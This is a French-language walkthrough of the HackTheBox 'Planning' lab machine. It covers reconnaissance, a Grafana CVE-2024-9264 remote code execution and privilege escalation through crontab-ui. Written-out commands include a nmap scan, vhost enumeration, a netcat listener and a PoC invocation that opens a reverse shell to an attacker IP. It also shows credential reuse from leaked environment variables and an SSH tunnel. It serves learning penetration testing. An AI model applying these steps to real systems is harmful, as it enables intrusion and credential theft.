HackTheBox — Planning
Déroulé complet d'un test d'intrusion sur la machine Planning de HackTheBox : de la reconnaissance jusqu'à l'élévation de privilèges, en passant par une RCE sur Grafana.
🔍 Reconnaissance
On démarre par un scan Nmap agressif (acceptable ici, c'est un lab) :
nmap -A 10.10.11.68
Deux ports ouverts : 22 (SSH, OpenSSH 9.6p1) et 80 (nginx 1.24.0). Le site est servi via un virtual host ; on ajoute l'entrée au fichier hosts :
echo "10.10.11.68 planning.htb" | sudo tee -a /etc/hosts
Le site est une plateforme de cours en ligne. Une énumération de répertoires avec gobuster ne révèle rien de caché :
gobuster dir -u http://planning.htb -w /usr/share/wordlists/dirb/common.txt -x php
On bascule sur l'énumération de sous-domaines, qui sort un vhost intéressant :
gobuster vhost -t 100 -u planning.htb -w dnslist.txt --append-domain
# Found: grafana.planning.htb Status: 302 [--> /login]
💉 Exploitation — Grafana
Le vhost héberge Grafana 11.0.0, vulnérable à la CVE-2024-9264 (RCE via les expressions SQL). Avec un PoC public et les identifiants fournis, on ouvre un listener puis on déclenche le reverse shell :
nc -lvp 8888
python poc.py --url http://grafana.planning.htb \
--username admin --password <fourni> \
--reverse-ip 10.10.14.42 --reverse-port 8888
⚠️ Toujours lire et comprendre un exploit récupéré sur Internet avant de l'exécuter.
Le shell revient en root… mais dans un conteneur Grafana. La commande env fuit un couple identifiant / mot de passe :
GF_SECURITY_ADMIN_USER=enzo
GF_SECURITY_ADMIN_PASSWORD=<mot_de_passe>
Le port 22 étant ouvert sur l'hôte, on tente ce couple en SSH — et ça passe. Premier flag dans ~/user.txt.
🔑 Élévation de privilèges
On est désormais sur l'hôte qui sert le site. Un fichier de crontab éditable côté interface révèle un mot de passe :
cat /opt/crontabs/crontab.db
# ... "command": ... zip -P <mot_de_passe> ...
netstat -l montre des services en écoute uniquement en local, dont un sur le port 8000. On monte un tunnel SSH pour y accéder :
ssh -L 8000:localhost:8000 enzo@10.10.11.68
Derrière : crontab-ui, une interface web de gestion de tâches cron. Les identifiants trouvés plus tôt donnent accès à l'admin. Comme ces crons tournent en root, créer une nouvelle tâche permet d'exécuter une commande privilégiée et de lire le flag root.
Ce qu'on retient
- Les sous-domaines cachent souvent la vraie surface d'attaque — ne pas s'arrêter à l'énumération de répertoires.
- Un conteneur « root » n'est pas l'hôte : les variables d'environnement fuitent régulièrement des secrets réutilisables ailleurs.
- Les tâches cron exécutées en root et les interfaces d'administration en localhost sont un classique de l'élévation de privilèges.
Note : les secrets réels de la box sont volontairement masqués ici.